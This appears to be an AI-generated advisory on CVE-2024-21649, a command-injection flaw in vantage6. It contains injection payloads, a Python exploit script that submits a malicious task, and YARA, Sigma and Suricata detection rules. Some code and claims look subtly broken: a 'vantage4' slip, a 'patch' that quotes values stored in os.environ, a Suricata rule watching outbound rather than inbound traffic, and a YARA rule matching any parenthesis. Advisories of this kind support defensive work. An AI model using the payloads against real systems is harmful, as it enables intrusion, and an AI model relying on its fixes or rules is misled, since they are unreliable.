CVE-2024-21649

Executive Summary

CVE-2024-21649 is a critical vulnerability in the vantage6 platform, a system designed for managing and deploying privacy-enhancing technologies such as Federated Learning (FL) and Multi-Party Computation (MPC). The flaw allows authenticated users to inject arbitrary code into algorithm environment variables, leading to remote code execution (RCE). This vulnerability affects all versions prior to 4.2.0 and has been assigned a CVSS score of 8.8, indicating high severity. The attack vector is network-based, requires low complexity, and only requires low-level privileges, making it a significant threat to deployed vantage6 instances.

Supply Chain & Package Security

vantage6 is a Python-based framework distributed via PyPI. Organizations using vantage6 should verify their installed version and ensure they are not running an unpatched release. The vulnerability is introduced through the core application logic, not a third-party dependency, but the supply chain risk is elevated due to the potential for malicious actors to exploit this in federated learning environments where multiple parties connect to a central server.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Network (N) – The vulnerability can be exploited remotely over the network.
• Attack Complexity (AC): Low (L) – No special conditions are required for exploitation.
• Privileges Required (PR): Low (L) – An attacker needs only authenticated access with low privileges.
• User Interaction (UI): None (N) – No user interaction is required.
• Scope (S): Unchanged (U) – The impact is confined to the vulnerable component.
• Confidentiality (C): High (H) – Full system compromise can lead to data disclosure.
• Integrity (I): High (H) – Code execution allows modification of data and system state.
• Availability (A): High (H) – An attacker can disrupt services or cause denial of service.

Threat Level: Critical. The combination of low privileges required and high impact makes this a priority for patching.

Deep Dive & Mechanics

The vulnerability resides in how vantage4 handles environment variables for algorithms. When a user submits an algorithm task, the system sets environment variables based on user input. Prior to version 4.2.0, these variables were not properly sanitized, allowing an authenticated user to inject shell metacharacters or Python code. For example, an attacker could set an environment variable to $(malicious_command) or use Python injection via __import__('os').system('command'). When the algorithm container is spawned, the injected code is executed in the context of the algorithm process, leading to RCE.

The attack flow:

1. Attacker authenticates to the vantage6 server.
2. Attacker submits a new algorithm task with crafted environment variables.
3. The server processes the task and sets the environment variables without sanitization.
4. The algorithm container starts, and the injected code is executed.
5. Attacker gains remote code execution on the server or container host.

Vulnerable vs. Patched Code

Vulnerable Code (pre-4.2.0):

# In algorithm task submission handler
env_vars = request.get('environment', {})
for key, value in env_vars.items():
    os.environ[key] = value  # No sanitization

Patched Code (4.2.0+):

# In algorithm task submission handler
import shlex
env_vars = request.get('environment', {})
for key, value in env_vars.items():
    # Sanitize value to prevent injection
    sanitized_value = shlex.quote(value)
    os.environ[key] = sanitized_value

The patch uses shlex.quote() to escape shell metacharacters, preventing command injection. Additionally, the patched version may restrict the allowed environment variable names to a predefined list.

Exploitation & Lab Setup

Red Team

Lab Setup:

• Deploy a vulnerable vantage6 server (version < 4.2.0) using Docker.
• Create a low-privileged user account.
• Use a Python script to craft the exploit.

Exploit Script:

import requests

target = "http://vantage6-server:5000"
session = requests.Session()

# Authenticate
login_data = {"username": "attacker", "password": "password"}
session.post(f"{target}/api/login", json=login_data)

# Craft malicious environment variable
malicious_env = {
    "ALGORITHM_ENV": "$(echo 'pwned' > /tmp/pwned.txt)"
}

# Submit algorithm task
task_data = {
    "algorithm": "some_algorithm",
    "environment": malicious_env
}
response = session.post(f"{target}/api/tasks", json=task_data)
print(response.text)

Expected Outcome: The file /tmp/pwned.txt is created on the server, confirming RCE.

Blue Team

Detection:

• Monitor for unusual environment variable names or values in algorithm task submissions.
• Look for shell metacharacters ($, (, ), ;, |, `) in environment variable values.
• Alert on tasks that spawn processes with unexpected arguments.

Hunting:

• Search logs for environment variable patterns like $(...) or backticks.
• Review algorithm task submissions for non-standard variable names.

Indicators of Compromise (IOCs)

• Network: POST requests to /api/tasks with environment variables containing shell metacharacters.
• File System: Unexpected files in /tmp/ or other writable directories created by algorithm containers.
• Process: Algorithm containers spawning shells or executing commands like id, whoami, curl, or wget.
• Logs: Server logs showing environment variable values with $( or backticks.

Detection Engineering

YARA Rule

rule CVE_2024_21649_EnvInjection {
    meta:
        description = "Detects malicious environment variable injection in vantage6"
        author = "Valters IT"
        date = "2024-01-01"
        reference = "CVE-2024-21649"
    strings:
        $shell_inject = /[\$\`\(\)]/ 
        $python_inject = /__import__|os\.system|subprocess/
    condition:
        any of them
}

Sigma Rule

title: CVE-2024-21649 - vantage6 Environment Variable Injection
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects attempts to exploit CVE-2024-21649 via malicious environment variables
author: Valters IT
logsource:
    category: application
    product: vantage6
detection:
    selection:
        event: "task_submitted"
        environment|contains:
            - "$("
            - "`"
            - "__import__"
    condition: selection
falsepositives:
    - Legitimate use of environment variables with special characters (rare)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2024-21649 - vantage6 Environment Variable Injection";
    flow:to_server,established;
    content:"POST"; http_method;
    content:"/api/tasks"; http_uri;
    content:"environment"; http_client_body;
    pcre:"/[\$\`\(\)]/";
    sid:1000001;
    rev:1;
    reference:cve,2024-21649;
    priority:1;
)

Remediation & Mitigation

1. Immediate: Upgrade to vantage6 version 4.2.0 or later.
2. Workaround: If upgrade is not possible, restrict algorithm task submission to trusted users only and manually review environment variable values.
3. Network: Use a Web Application Firewall (WAF) to block requests containing shell metacharacters in environment variables.
4. Monitoring: Enable detailed logging for algorithm task submissions and monitor for suspicious patterns.
5. Least Privilege: Ensure that algorithm containers run with minimal privileges and are isolated from the host system.

Valters IT signature: This report is generated by Valters IT DevSecOps AI Assistant. For questions, contact security@valters-it.com.